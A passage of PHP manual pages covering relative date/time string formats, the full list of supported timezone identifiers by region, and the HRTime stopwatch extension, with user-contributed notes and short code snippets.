'first day of' | Sets the day of the first of the current month. This phrase is best used together with a month name following it. | "first day of January 2008"
'last day of' | Sets the day to the last day of the current month. This phrase is best used together with a month name following it. | "last day of next month"
ordinal space dayname space 'of' | Calculates the x-th week day of the current month. | "first sat of July 2008"
'last' space dayname space 'of' | Calculates the last week day of the current month. | "last sat of July 2008"
number space? (unit | 'week') | Handles relative time items where the value is a number. | "+5 weeks", "12 day", "-7 weekdays"
ordinal space unit | Handles relative time items where the value is text. | "fifth day", "second month"
'ago' | Negates all the values of previously found relative time items. | "2 days ago", "8 days ago 14:00", "2 months 5 days ago", "2 months ago 5 days", "2 days ago"
dayname | Moves to the next day of this name. | "Monday"
reltext space 'week' | Handles the special format "weekday + last/this/next week". | "Monday next week"

Note:

Relative statements are always processed after non-relative statements. This makes "+1 week july 2008" and "july 2008 +1 week" equivalent.

Exceptions to this rule are: "yesterday", "midnight", "today", "noon" and "tomorrow". Note that "tomorrow 11:00" and "11:00 tomorrow" are different. Considering today's date of "July 23rd, 2008" the first one produces "2008-07-24 11:00" where as the second one produces "2008-07-24 00:00". The reason for this is that those five statements directly influence the current time.

Note:

Observe the following remarks when the current day-of-week is the same as the day-of-week used in the date/time string. The current day-of-week could have been (re-)calculated by non-relative parts of the date/time string however.

  1. "dayname" does not advance to another day. (Example: "Wed July 23rd, 2008" means "2008-07-23").
  2. "number dayname" does not advance to another day. (Example: "1 wednesday july 23rd, 2008" means "2008-07-23").
  3. "number week dayname" will first add the number of weeks, but does not advance to another day. In this case "number week" and "dayname" are two distinct blocks. (Example: "+1 week wednesday july 23rd, 2008" means "2008-07-30").
  4. "ordinal dayname" does advance to another day. (Example "first wednesday july 23rd, 2008" means "2008-07-30").
  5. "number week ordinal dayname" will first add the number of weeks, and then advances to another day. In this case "number week" and "ordinal dayname" are two distinct blocks. (Example: "+1 week first wednesday july 23rd, 2008" means "2008-08-06").
  6. "ordinal dayname 'of' " does not advance to another day. (Example: "first wednesday of july 23rd, 2008" means "2008-07-02" because the specific phrase with 'of' resets the day-of-month to '1' and the '23rd' is ignored here).

Also observe that the "of" in "ordinal space dayname space 'of' " and "'last' space dayname space 'of' " does something special.

  1. It sets the day-of-month to 1.
  2. "ordinal dayname 'of' " does not advance to another day. (Example: "first tuesday of july 2008" means "2008-07-01").
  3. "ordinal dayname " does advance to another day. (Example: "first tuesday july 2008" means "2008-07-08", see also point 4 in the list above).
  4. "'last' dayname 'of' " takes the last dayname of the current month. (Example: "last wed of july 2008" means "2008-07-30")
  5. "'last' dayname" takes the last dayname from the current day. (Example: "last wed july 2008" means "2008-06-25"; "july 2008" first sets the current date to "2008-07-01" and then "last wed" moves to the previous Wednesday which is "2008-06-25").

Note:

Relative month values are calculated based on the length of months that they pass through. An example would be "+2 month 2011-11-30", which would produce "2012-01-30". This is due to November being 30 days in length, and December being 31 days in length, producing a total of 61 days.

Changelog

Version | Description
5.3.3 | "first day" and "last day" changed to behave has "+1 day" and "-1 day", respectively. Previously, the behaviour was as "first day of" and "last day of".

User Contributed Notes

shkkmo at gmail dot com 05-Sep-2013 09:37
Here is a fairly simple function I wrote to avoid the issues with adding/subtracting months that has been mentioned by cristinawithout and many others.

I needed this function to be able handle monthly billing cycles properly. It handles positive and negative values for months. It also can be used to side step a similar issues for adding years on leap days (e.g. strtotime('2012/2/29 +1 year') by passing in multiples of 12 (e.g. addMonthsToTime(12, strtotime('2012/2/29'))

<?
function addMonthsToTime($numMonths = 1, $timeStamp = null){
    $timeStamp === null and $timeStamp = time();//Default to the present
    $newMonthNumDays =  date('d',strtotime('last day of '.$numMonths.' months', $timeStamp));//Number of days in the new month
    $currentDayOfMonth = date('d',$timeStamp);
    if($currentDayOfMonth > $newMonthNumDays){
      $newTimeStamp = strtotime('-'.($currentDayOfMonth - $newMonthNumDays).' days '.$numMonths.' months', $timeStamp);
    } else {
      $newTimeStamp = strtotime($numMonths.' months', $timeStamp);
    }
    return $newTimeStamp;
  }
?>
chris at burnhamup dot com 08-May-2013 01:46
Using strtotime('DAYNAME') like strtotime('Tuesday') returns midnight on the specified day. It doesn't preserve the current time or the time passed into the function.
oguzkonya34 at gmail dot com 17-Apr-2012 05:25
April 1st, 2012 is Sunday. You might expect to get April 2nd, 2012 with 'Monday next week', however this:

<?php
    echo date('F jS, Y', strtotime('Monday next week 2012-04-01'));
?>

returns April 9th, 2012. To get April 2nd, you need to use this:

<?php
    echo date('F jS, Y', strtotime('next Monday 2012-04-01'));
?>

Apparently 'next week' advances the week if and only if the day is Sunday. This:

<?php
    echo date('F jS, Y', strtotime('Monday next week 2012-03-31'));
?>

would still return April 2nd.
scragar at gmail dot com 09-Nov-2011 05:04
Just for those who want the last day of the year without calling the function twice:

<?php
echo date('Y-m-d',
    strToTime('1/1 next year -1 day')
);
//   2011-12-31
?>

For reference this is actually saying "Take the first day of the first month next year, then subtract 1 day".
matt 14-Sep-2011 11:23
If the ordinal being used is "last" and the next month is n, use the "n 1". Otherwise, if the previous month is p and it has d number of days in it, use "p d".

For example: "last thursday of November" becomes "last thursday December 1" and "fourth thursday of November" becomes "fourth thursday September 30th"

Hopes this helps someone out there.
erwin at darcoury dot nl 01-Jun-2011 03:39
In PHP 5.2, "first monday of may 2011" is invalid, but "first monday may 2011" does work. Simply omit "of" if above examples do not work.
geneticdrift 31-Mar-2011 07:50
Month skipping has issues with number of days in the month.

'+1 month' may move to the following month if the next month has less days than the current:

<?php print date('d M Y H:i:s', strtotime('+1 month', strtotime('Thu Mar 31 19:50:41 IST 2011'))); ?>
Prints: 01 May 2011 19:50:41

But with 'last day of +1 month' the result is different:

<?php print date('d M Y H:i:s', strtotime('last day of +1 month', strtotime('Thu Mar 31 19:50:41 IST 2011'))); ?>
Prints: 30 Apr 2011 19:50:41

(PHP 5.3.3)


List of Supported Timezones

Table of Contents

  • Africa
  • America
  • Antarctica
  • Arctic
  • Asia
  • Atlantic
  • Australia
  • Europe
  • Indian
  • Pacific
  • Others

Here you'll find the complete list of timezones supported by PHP, which are meant to be used with e.g. date_default_timezone_set().

Note: The latest version of the timezone database can be installed via PECL's » timezonedb.

Note: This list is based upon the timezone database version 2014.9.

User Contributed Notes

naz at barge dot ch 28-Jan-2014 12:32
hello,
it miss a timezone for switzerland  (geneva, zurich, bern  or something)
miquelon at gmail dot com 16-Jan-2014 02:30
Missing time zone of the islands of St Pierre et Miquelon, south of Newfoundland but associated region of France.

The islands have a time zone that changes daylight time with North America and not Europe. It is EST+2.
Anonymous 21-Feb-2012 11:19
Some linux dsitributions (eg: debian) use the disrio-provided zoneinfo database (/usr/share/zoneinfo). This means to get a list of timezones programmatically you can search through that directory (recursively).  This also means that zones used by other software that use this zoneinfo database (eg postgresql) will also be supported by php.


Africa

Africa
Africa/Abidjan | Africa/Accra | Africa/Addis_Ababa | Africa/Algiers | Africa/Asmara
Africa/Asmera | Africa/Bamako | Africa/Bangui | Africa/Banjul | Africa/Bissau
Africa/Blantyre | Africa/Brazzaville | Africa/Bujumbura | Africa/Cairo | Africa/Casablanca
Africa/Ceuta | Africa/Conakry | Africa/Dakar | Africa/Dar_es_Salaam | Africa/Djibouti
Africa/Douala | Africa/El_Aaiun | Africa/Freetown | Africa/Gaborone | Africa/Harare
Africa/Johannesburg | Africa/Juba | Africa/Kampala | Africa/Khartoum | Africa/Kigali
Africa/Kinshasa | Africa/Lagos | Africa/Libreville | Africa/Lome | Africa/Luanda
Africa/Lubumbashi | Africa/Lusaka | Africa/Malabo | Africa/Maputo | Africa/Maseru
Africa/Mbabane | Africa/Mogadishu | Africa/Monrovia | Africa/Nairobi | Africa/Ndjamena
Africa/Niamey | Africa/Nouakchott | Africa/Ouagadougou | Africa/Porto-Novo | Africa/Sao_Tome
Africa/Timbuktu | Africa/Tripoli | Africa/Tunis | Africa/Windhoek |

User Contributed Notes

abc at ed48 dot com 26-May-2014 11:04
<?php

// $lang = 'pt';
$lang = 'en';

if (function_exists("timezone_identifiers_list"))
{
$arr_timez_id_lst3 = DateTimeZone::listIdentifiers();

$pt = 'Lista dos identificadores: <br><br>';
$en = 'Timezone identifiers list: <br><br>';
echo $$lang;

echo '<form id="form3" name="form3" method="post" action=""><select name="select">';

foreach( $arr_timez_id_lst3 as $timz3)
{
echo '<option value="' . $timz3 . '">' . $timz3 . '</option>';
}
echo '</select></form>';
}
else
{
$en = 'FUNCTION NOT IMPLEMENTED ON THIS PLATFORM!';
$pt = 'FUNÇÃO NÃO DEFINIDA PARA ESTE AMBIENTE!';
echo '<span style="color:#039;font-size:18px;">' . $$lang . '</span>';
}
?>


America

America
America/Adak | America/Anchorage | America/Anguilla | America/Antigua | America/Araguaina
America/Argentina/Buenos_Aires | America/Argentina/Catamarca | America/Argentina/ComodRivadavia | America/Argentina/Cordoba | America/Argentina/Jujuy
America/Argentina/La_Rioja | America/Argentina/Mendoza | America/Argentina/Rio_Gallegos | America/Argentina/Salta | America/Argentina/San_Juan
America/Argentina/San_Luis | America/Argentina/Tucuman | America/Argentina/Ushuaia | America/Aruba | America/Asuncion
America/Atikokan | America/Atka | America/Bahia | America/Bahia_Banderas | America/Barbados
America/Belem | America/Belize | America/Blanc-Sablon | America/Boa_Vista | America/Bogota
America/Boise | America/Buenos_Aires | America/Cambridge_Bay | America/Campo_Grande | America/Cancun
America/Caracas | America/Catamarca | America/Cayenne | America/Cayman | America/Chicago
America/Chihuahua | America/Coral_Harbour | America/Cordoba | America/Costa_Rica | America/Creston
America/Cuiaba | America/Curacao | America/Danmarkshavn | America/Dawson | America/Dawson_Creek
America/Denver | America/Detroit | America/Dominica | America/Edmonton | America/Eirunepe
America/El_Salvador | America/Ensenada | America/Fort_Wayne | America/Fortaleza | America/Glace_Bay
America/Godthab | America/Goose_Bay | America/Grand_Turk | America/Grenada | America/Guadeloupe
America/Guatemala | America/Guayaquil | America/Guyana | America/Halifax | America/Havana
America/Hermosillo | America/Indiana/Indianapolis | America/Indiana/Knox | America/Indiana/Marengo | America/Indiana/Petersburg
America/Indiana/Tell_City | America/Indiana/Vevay | America/Indiana/Vincennes | America/Indiana/Winamac | America/Indianapolis
America/Inuvik | America/Iqaluit | America/Jamaica | America/Jujuy | America/Juneau
America/Kentucky/Louisville | America/Kentucky/Monticello | America/Knox_IN | America/Kralendijk | America/La_Paz
America/Lima | America/Los_Angeles | America/Louisville | America/Lower_Princes | America/Maceio
America/Managua | America/Manaus | America/Marigot | America/Martinique | America/Matamoros
America/Mazatlan | America/Mendoza | America/Menominee | America/Merida | America/Metlakatla
America/Mexico_City | America/Miquelon | America/Moncton | America/Monterrey | America/Montevideo
America/Montreal | America/Montserrat | America/Nassau | America/New_York | America/Nipigon
America/Nome | America/Noronha | America/North_Dakota/Beulah | America/North_Dakota/Center | America/North_Dakota/New_Salem
America/Ojinaga | America/Panama | America/Pangnirtung | America/Paramaribo | America/Phoenix
America/Port-au-Prince | America/Port_of_Spain | America/Porto_Acre | America/Porto_Velho | America/Puerto_Rico
America/Rainy_River | America/Rankin_Inlet | America/Recife | America/Regina | America/Resolute
America/Rio_Branco | America/Rosario | America/Santa_Isabel | America/Santarem | America/Santiago
America/Santo_Domingo | America/Sao_Paulo | America/Scoresbysund | America/Shiprock | America/Sitka
America/St_Barthelemy | America/St_Johns | America/St_Kitts | America/St_Lucia | America/St_Thomas
America/St_Vincent | America/Swift_Current | America/Tegucigalpa | America/Thule | America/Thunder_Bay
America/Tijuana | America/Toronto | America/Tortola | America/Vancouver | America/Virgin
America/Whitehorse | America/Winnipeg | America/Yakutat | America/Yellowknife |

User Contributed Notes

abc at ed48 dot com 26-May-2014 11:08
<?php

// $lang = 'pt';
$lang = 'en';

if (function_exists("timezone_identifiers_list"))
{
$arr_timez_id_lst4 = DateTimeZone::listIdentifiers(DateTimeZone::AMERICA);

$pt = 'Lista dos identificadores: <br><br>';
$en = 'Timezone identifiers list: <br><br>';
echo $$lang;

echo '<form id="form4" name="form4" method="post" action=""><select name="select">';

foreach( $arr_timez_id_lst4 as $timz4)
{
echo '<option value="' . $timz4 . '">' . $timz4 . '</option>';
}
echo '</select></form>';
}
else
{
$en = 'FUNCTION NOT IMPLEMENTED ON THIS PLATFORM!';
$pt = 'FUNÇÃO NÃO DEFINIDA PARA ESTE AMBIENTE!';
echo '<span style="color:#039;font-size:18px;">' . $$lang . '</span>';
}
?>
php at firstnetimpressions dot com 24-Mar-2014 10:35
I give the folks in the USA the benefit of the doubt in that they know their own time zone and whether or not to use daylight savings time.   The whole city list can be boiled down to just fourteen entries (including Hawaii and Puerto Rico).

<?php

  //  Timezone suggestions from PHP CookBook By Adam Trachtenberg
  //  and David Sklar Table 3-5 zoneinfo zones

  $zones = array();
  $zones['Pacific/Honolulu']     = 'Hawaii-Aleutian Standard Time (HAST)';
  $zones['US/Aleutian']          = 'Hawaii-Aleutian with Daylight Savings Time (HADT)';
  $zones['Etc/GMT+9']            = 'Alaska Standard Time (AKST)';
  $zones['America/Anchorage']    = 'Alaska with Daylight Savings Time (AKDT)';
  $zones['America/Dawson_Creek'] = 'Pacific Standard Time (PST)';
  $zones['PST8PDT']              = 'Pacific with Daylight Savings Time (PDT)';
  $zones['MST']                  = 'Mountain Standard Time (MST)';
  $zones['MST7MDT']              = 'Mountain with Daylight Savings Time (MDT)';
  $zones['Canada/Saskatchewan']  = 'Central Standard Time (CST)';
  $zones['CST6CDT']              = 'Central with Daylight Savings Time (CDT)';
  $zones['EST']                  = 'Eastern Standard Time (EST)';
  $zones['EST5EDT']              = 'Eastern with Daylight Savings Time (EDT)';
  $zones['America/Puerto_Rico']  = 'Atlantic Standard Time (AST)';
  $zones['America/Halifax']      = 'Atlantic with Daylight Savings Time (ADT)';

?>
scsjcr 20-Feb-2014 09:39
How is to Costa Rica? or Central America?
Mirai Densetsu 11-Feb-2014 02:22
At Brazil, note that the Brazilian official timezone is wrongly described as "America/Sao_Paulo", when it should be "America/Brasilia".

The Sao Paulo timezone does not exist, since this city follow the Brasilia official timezone (BRT or BRST).
eslindsey at gmail dot com 20-Jan-2014 03:24
For the United States:

Eastern ........... America/New_York
Central ........... America/Chicago
Mountain .......... America/Denver
Mountain no DST ... America/Phoenix
Pacific ........... America/Los_Angeles
Alaska ............ America/Anchorage
Hawaii ............ America/Adak
Hawaii no DST ..... Pacific/Honolulu

Source: http://stackoverflow.com/questions/4989209/list-of-us-time-zones-for-php-to-use
cjacunad at gmail dot com 19-Sep-2008 01:28
You can set a default time zone for your server from the configuration file (php.ini) at the line:

[Date]
; Defines the default timezone used by the date functions
date.timezone = America/New_York
kapahala11 at yahoo dot com 12-Jun-2007 03:48
Note that "America" means "the continents of North and South America, including the Caribbean islands".  It does *not* mean "The United States Of America".

If you're looking for the Hawaii timezone, you'll find it in Pacific/Honolulu (not America/Honolulu).


Antarctica

Antarctica
Antarctica/Casey | Antarctica/Davis | Antarctica/DumontDUrville | Antarctica/Macquarie | Antarctica/Mawson
Antarctica/McMurdo | Antarctica/Palmer | Antarctica/Rothera | Antarctica/South_Pole | Antarctica/Syowa
Antarctica/Troll | Antarctica/Vostok |  |  |

User Contributed Notes

There are no user contributed notes for this page.


Arctic

Arctic
Arctic/Longyearbyen

User Contributed Notes

There are no user contributed notes for this page.


Asia

Asia
Asia/Aden | Asia/Almaty | Asia/Amman | Asia/Anadyr | Asia/Aqtau
Asia/Aqtobe | Asia/Ashgabat | Asia/Ashkhabad | Asia/Baghdad | Asia/Bahrain
Asia/Baku | Asia/Bangkok | Asia/Beirut | Asia/Bishkek | Asia/Brunei
Asia/Calcutta | Asia/Chita | Asia/Choibalsan | Asia/Chongqing | Asia/Chungking
Asia/Colombo | Asia/Dacca | Asia/Damascus | Asia/Dhaka | Asia/Dili
Asia/Dubai | Asia/Dushanbe | Asia/Gaza | Asia/Harbin | Asia/Hebron
Asia/Ho_Chi_Minh | Asia/Hong_Kong | Asia/Hovd | Asia/Irkutsk | Asia/Istanbul
Asia/Jakarta | Asia/Jayapura | Asia/Jerusalem | Asia/Kabul | Asia/Kamchatka
Asia/Karachi | Asia/Kashgar | Asia/Kathmandu | Asia/Katmandu | Asia/Khandyga
Asia/Kolkata | Asia/Krasnoyarsk | Asia/Kuala_Lumpur | Asia/Kuching | Asia/Kuwait
Asia/Macao | Asia/Macau | Asia/Magadan | Asia/Makassar | Asia/Manila
Asia/Muscat | Asia/Nicosia | Asia/Novokuznetsk | Asia/Novosibirsk | Asia/Omsk
Asia/Oral | Asia/Phnom_Penh | Asia/Pontianak | Asia/Pyongyang | Asia/Qatar
Asia/Qyzylorda | Asia/Rangoon | Asia/Riyadh | Asia/Saigon | Asia/Sakhalin
Asia/Samarkand | Asia/Seoul | Asia/Shanghai | Asia/Singapore | Asia/Srednekolymsk
Asia/Taipei | Asia/Tashkent | Asia/Tbilisi | Asia/Tehran | Asia/Tel_Aviv
Asia/Thimbu | Asia/Thimphu | Asia/Tokyo | Asia/Ujung_Pandang | Asia/Ulaanbaatar
Asia/Ulan_Bator | Asia/Urumqi | Asia/Ust-Nera | Asia/Vientiane | Asia/Vladivostok
Asia/Yakutsk | Asia/Yekaterinburg | Asia/Yerevan |  |

User Contributed Notes

frank at huddler-inc dot com 19-Feb-2014 05:42
Asia/Kolkata was added in PHP 5.2.6

Asia/Calcutta was removed in PHP 5.3.0

http://3v4l.org/j1kGV

<?php
foreach(array("Asia/Calcutta", "Asia/Kolkata") as $tz) {
    echo $tz,"=", (int)in_array($tz, timezone_identifiers_list()), "\n";
}

/*
Output for 5.3.0 - 5.6.0alpha1
Asia/Calcutta=0
Asia/Kolkata=1

Output for 5.2.6 - 5.2.17
Asia/Calcutta=1
Asia/Kolkata=1

Output for 5.2.0 - 5.2.5
Asia/Calcutta=1
Asia/Kolkata=0
*/
sahadat5021 at gmail dot com 01-Oct-2013 02:33
The time zone of Asia/Dhaka is +06. but php returns +07
firekillz[at]gmail[.]com 11-Sep-2013 07:18
I've tested "Asia/Calcutta" as well as "Asia/Kolkata" on PHP 5.4.7 and both returns accurate results.

But I would suggest you to use "Asia/Kolkata" as "Calcutta" is now renamed to "Kolkata".

<?php
    date_default_timezone_set("Asia/Kolkata");
    echo date('d-m-Y H:i:s'); //Returns IST
?>


Atlantic

Atlantic
Atlantic/Azores | Atlantic/Bermuda | Atlantic/Canary | Atlantic/Cape_Verde | Atlantic/Faeroe
Atlantic/Faroe | Atlantic/Jan_Mayen | Atlantic/Madeira | Atlantic/Reykjavik | Atlantic/South_Georgia
Atlantic/St_Helena | Atlantic/Stanley |  |  |

User Contributed Notes

There are no user contributed notes for this page.


Australia

Australia
Australia/ACT | Australia/Adelaide | Australia/Brisbane | Australia/Broken_Hill | Australia/Canberra
Australia/Currie | Australia/Darwin | Australia/Eucla | Australia/Hobart | Australia/LHI
Australia/Lindeman | Australia/Lord_Howe | Australia/Melbourne | Australia/North | Australia/NSW
Australia/Perth | Australia/Queensland | Australia/South | Australia/Sydney | Australia/Tasmania
Australia/Victoria | Australia/West | Australia/Yancowinna |  |

User Contributed Notes

tmark dot ellison at gmail dot com 11-Feb-2012 05:22
Note that Perth also does not have daylight saving since 2009 (and then only had it for 3 summers 2006-7 2007-8 and 2008-9).
t dot nospam dot jachimczak at gmail dot com 15-Jan-2012 11:57
Brisbane does not observe Daylight Savings time in Australia, but has the same +10 UTC offset as Sydney, Canberra and Melbourne which may be useful for inserting the right timestamp if your server automatically adjusts for Daylight Saving.
rob at rndsoftware dot com dot au 18-Aug-2010 08:14
Remember that Australia has Daylight Saving Times.

You can get all the info here: http://australia.gov.au/about-australia/our-country/time


Europe

Europe
Europe/Amsterdam | Europe/Andorra | Europe/Athens | Europe/Belfast | Europe/Belgrade
Europe/Berlin | Europe/Bratislava | Europe/Brussels | Europe/Bucharest | Europe/Budapest
Europe/Busingen | Europe/Chisinau | Europe/Copenhagen | Europe/Dublin | Europe/Gibraltar
Europe/Guernsey | Europe/Helsinki | Europe/Isle_of_Man | Europe/Istanbul | Europe/Jersey
Europe/Kaliningrad | Europe/Kiev | Europe/Lisbon | Europe/Ljubljana | Europe/London
Europe/Luxembourg | Europe/Madrid | Europe/Malta | Europe/Mariehamn | Europe/Minsk
Europe/Monaco | Europe/Moscow | Europe/Nicosia | Europe/Oslo | Europe/Paris
Europe/Podgorica | Europe/Prague | Europe/Riga | Europe/Rome | Europe/Samara
Europe/San_Marino | Europe/Sarajevo | Europe/Simferopol | Europe/Skopje | Europe/Sofia
Europe/Stockholm | Europe/Tallinn | Europe/Tirane | Europe/Tiraspol | Europe/Uzhgorod
Europe/Vaduz | Europe/Vatican | Europe/Vienna | Europe/Vilnius | Europe/Volgograd
Europe/Warsaw | Europe/Zagreb | Europe/Zaporozhye | Europe/Zurich |

User Contributed Notes

abc at ed48 dot com 26-May-2014 11:02
Another form, useful for EUROPE:

<?php

$lang = 'pt';
// $lang = 'en';

if (function_exists("timezone_identifiers_list"))
{
$arr_timez_id_lst4 = DateTimeZone::listIdentifiers(DateTimeZone::EUROPE);

$pt = 'Lista dos identificadores: <br><br>';
$en = 'Timezone identifiers list: <br><br>';
echo $$lang;

echo '<form id="form4" name="form4" method="post" action=""><select name="select">';

foreach( $arr_timez_id_lst4 as $timz4)
{
echo '<option value="' . $timz4 . '">' . $timz4 . '</option>';
}
echo '</select></form>';
}
else
{
$en = 'FUNCTION NOT IMPLEMENTED ON THIS PLATFORM!';
$pt = 'FUNÇÃO NÃO DEFINIDA PARA ESTE AMBIENTE!';
echo '<span style="color:#039;font-size:18px;">' . $$lang . '</span>';
}
?>
abc at ed48 dot com 26-May-2014 11:00
A form that can be usefull:

<?php

// $lang = 'pt';
$lang = 'en';

if (function_exists("timezone_identifiers_list"))
{
$arr_timez_id_lst2 = timezone_identifiers_list();

$pt = 'Lista dos identificadores: <br><br>';
$en = 'Timezone identifiers list: <br><br>';
echo $$lang;

echo '<form id="form2" name="form2" method="post" action=""><select name="select">';

foreach( $arr_timez_id_lst2 as $timez2)
{
echo '<option value="' . $timez2 . '">' . $timez2 . '</option>';
}
echo '</select></form>';
}
else
{
$en = 'FUNCTION NOT IMPLEMENTED ON THIS PLATFORM!';
$pt = 'FUNÇÃO NÃO DEFINIDA PARA ESTE AMBIENTE!';
echo '<span style="color:#039;font-size:18px;">' . $$lang . '</span>';
}
?>


Indian

Indian
Indian/Antananarivo | Indian/Chagos | Indian/Christmas | Indian/Cocos | Indian/Comoro
Indian/Kerguelen | Indian/Mahe | Indian/Maldives | Indian/Mauritius | Indian/Mayotte
Indian/Reunion |  |  |  |

User Contributed Notes

saurabh at rebugged dot com 15-Sep-2012 07:56
As per this page http://www.php.net/manual/en/timezones.asia.php you can also use 'Asia/Kolkata' instead of 'Asia/Calcutta'.
Locoluis 12-Jun-2007 09:44
India itself is handled by Asia/Calcutta

The "Indian" zone is for islands at the Indic Ocean.


Pacific

Pacific
Pacific/Apia | Pacific/Auckland | Pacific/Bougainville | Pacific/Chatham | Pacific/Chuuk
Pacific/Easter | Pacific/Efate | Pacific/Enderbury | Pacific/Fakaofo | Pacific/Fiji
Pacific/Funafuti | Pacific/Galapagos | Pacific/Gambier | Pacific/Guadalcanal | Pacific/Guam
Pacific/Honolulu | Pacific/Johnston | Pacific/Kiritimati | Pacific/Kosrae | Pacific/Kwajalein
Pacific/Majuro | Pacific/Marquesas | Pacific/Midway | Pacific/Nauru | Pacific/Niue
Pacific/Norfolk | Pacific/Noumea | Pacific/Pago_Pago | Pacific/Palau | Pacific/Pitcairn
Pacific/Pohnpei | Pacific/Ponape | Pacific/Port_Moresby | Pacific/Rarotonga | Pacific/Saipan
Pacific/Samoa | Pacific/Tahiti | Pacific/Tarawa | Pacific/Tongatapu | Pacific/Truk
Pacific/Wake | Pacific/Wallis | Pacific/Yap |  |

User Contributed Notes

There are no user contributed notes for this page.


Others

Others
Brazil/Acre | Brazil/DeNoronha | Brazil/East | Brazil/West | Canada/Atlantic
Canada/Central | Canada/East-Saskatchewan | Canada/Eastern | Canada/Mountain | Canada/Newfoundland
Canada/Pacific | Canada/Saskatchewan | Canada/Yukon | CET | Chile/Continental
Chile/EasterIsland | CST6CDT | Cuba | EET | Egypt
Eire | EST | EST5EDT | Etc/GMT | Etc/GMT+0
Etc/GMT+1 | Etc/GMT+10 | Etc/GMT+11 | Etc/GMT+12 | Etc/GMT+2
Etc/GMT+3 | Etc/GMT+4 | Etc/GMT+5 | Etc/GMT+6 | Etc/GMT+7
Etc/GMT+8 | Etc/GMT+9 | Etc/GMT-0 | Etc/GMT-1 | Etc/GMT-10
Etc/GMT-11 | Etc/GMT-12 | Etc/GMT-13 | Etc/GMT-14 | Etc/GMT-2
Etc/GMT-3 | Etc/GMT-4 | Etc/GMT-5 | Etc/GMT-6 | Etc/GMT-7
Etc/GMT-8 | Etc/GMT-9 | Etc/GMT0 | Etc/Greenwich | Etc/UCT
Etc/Universal | Etc/UTC | Etc/Zulu | Factory | GB
GB-Eire | GMT | GMT+0 | GMT-0 | GMT0
Greenwich | Hongkong | HST | Iceland | Iran
Israel | Jamaica | Japan | Kwajalein | Libya
MET | Mexico/BajaNorte | Mexico/BajaSur | Mexico/General | MST
MST7MDT | Navajo | NZ | NZ-CHAT | Poland
Portugal | PRC | PST8PDT | ROC | ROK
Singapore | Turkey | UCT | Universal | US/Alaska
US/Aleutian | US/Arizona | US/Central | US/East-Indiana | US/Eastern
US/Hawaii | US/Indiana-Starke | US/Michigan | US/Mountain | US/Pacific
US/Pacific-New | US/Samoa | UTC | W-SU | WET
Zulu |  |  |  |
Warning

Please do not use any of the timezones listed here (besides UTC), they only exist for backward compatible reasons.

Warning

If you disregard the above warning, please also note that the IANA timezone database that provides PHP's timezone support uses POSIX style signs, which results in the Etc/GMT+n and Etc/GMT-n time zones being reversed from common usage.

For example, the time zone 8 hours ahead of GMT that is used in China and Western Australia (among other places) is actually Etc/GMT-8 in this database, not Etc/GMT+8 as you would normally expect.

Once again, it is strongly recommended that you use the correct time zone for your location, such as Asia/Shanghai or Australia/Perth for the above examples.

User Contributed Notes

aanderson at amherst dot edu 05-Dec-2013 01:43
Don’t use 'EST', at least in PHP 5.3.3 it’s the same as 'EST5EDT' rather than being strictly standard time.  The only reliable way I’ve found to interpret a time as standard time is to use a UTC-relative format such as:

 $dateObject = date_create("2013-06-30 07:00:00-0500");
Samuel Horwitz 01-Mar-2012 02:05
Take note that while EST and MST are valid, according to this list, PST and CST are not. I am not sure why, but it has caught me off guard. However, if using the DST versions of the "American" timezone strings, you have all four: EST5EDT, CST6CDT, MST7MDT and PST8PDT.


High resolution timing

  • Introduction
  • Installing/Configuring
    • Installation
  • Examples
    • Basic usage
  • HRTime\PerformanceCounter — The HRTime\PerformanceCounter class
    • HRTime\PerformanceCounter::getElapsedTicks — Get elapsed ticks for all intervals.
    • HRTime\PerformanceCounter::getFrequency — Timer frequency in ticks per second
    • HRTime\PerformanceCounter::getLastElapsedTicks — Get elapsed ticks for the last interval.
    • HRTime\PerformanceCounter::isRunning — Whether the measurement is running.
    • HRTime\PerformanceCounter::start — Start time measurement
    • HRTime\PerformanceCounter::stop — Stop time measurement
  • HRTime\StopWatch — The HRTime\StopWatch class
    • HRTime\StopWatch::getElapsedTime — Get elapsed time for all intervals.
    • HRTime\StopWatch::getLastElapsedTime — Get elapsed time for the last interval.
  • HRTime\Unit — The HRTime\Unit class

User Contributed Notes

There are no user contributed notes for this page.


Introduction

The HRTime extension implements a high resolution StopWatch class. It uses the best possible APIs on different platforms which brings resolution up to nanoseconds. It also makes possible to implement a custom stopwatch using low level ticks delivered by the underlaying APIs.

User Contributed Notes

There are no user contributed notes for this page.


Installing/Configuring

Table of Contents

  • Installation

User Contributed Notes

There are no user contributed notes for this page.


Installation

This » PECL extension is not bundled with PHP.

Information for installing this PECL extension may be found in the manual chapter titled Installation of PECL extensions. Additional information such as new releases, downloads, source files, maintainer information, and a CHANGELOG, can be located here: » http://pecl.php.net/package/hrtime.

A DLL for this PECL extension is available under » http://windows.php.net/downloads/pecl/releases/hrtime/.

User Contributed Notes

There are no user contributed notes for this page.


Basic usage

The example illustrates the basic StopWatch class usage

Example #1 Measure several code blocks execution and get the total

<?php

$c = new HRTime\StopWatch;

$c->start();
/* measure this code block execution */
for ($i = 0; $i < 1024*1024; $i++);
$c->stop();
$elapsed0 = $c->getLastElapsedTime(HRTime\Unit::NANOSECOND);

/* measurement is not running here*/
for ($i = 0; $i < 1024*1024; $i++);

$c->start();
/* measure this code block execution */
for ($i = 0; $i < 1024*1024; $i++);
$c->stop();
$elapsed1 = $c->getLastElapsedTime(HRTime\Unit::NANOSECOND);

$elapsed_total = $c->getElapsedTime(HRTime\Unit::NANOSECOND);

?>

User Contributed Notes

There are no user contributed notes for this page.


The HRTime\PerformanceCounter class

(PECL hrtime >= 0.4.3)

Introduction

Class synopsis

HRTime\PerformanceCounter {
/* Methods */
public int getElapsedTicks ( void )
public int getFrequency ( void )
public int getLastElapsedTicks ( void )
public bool isRunning ( void )
public void start ( void )
public void stop ( void )
}

Table of Contents

  • HRTime\PerformanceCounter::getElapsedTicks — Get elapsed ticks for all intervals.
  • HRTime\PerformanceCounter::getFrequency — Timer frequency in ticks per second
  • HRTime\PerformanceCounter::getLastElapsedTicks — Get elapsed ticks for the last interval.
  • HRTime\PerformanceCounter::isRunning — Whether the measurement is running.
  • HRTime\PerformanceCounter::start — Start time measurement
  • HRTime\PerformanceCounter::stop — Stop time measurement

User Contributed Notes

There are no user contributed notes for this page.


Get elapsed ticks for all intervals.

  • « HRTime\PerformanceCounter
  • HRTime\PerformanceCounter::getFrequency »
  • PHP Manual
  • HRTime\PerformanceCounter
  • Get elapsed ticks for all intervals.

HRTime\PerformanceCounter::getElapsedTicks

(PECL hrtime >= 0.4.3)

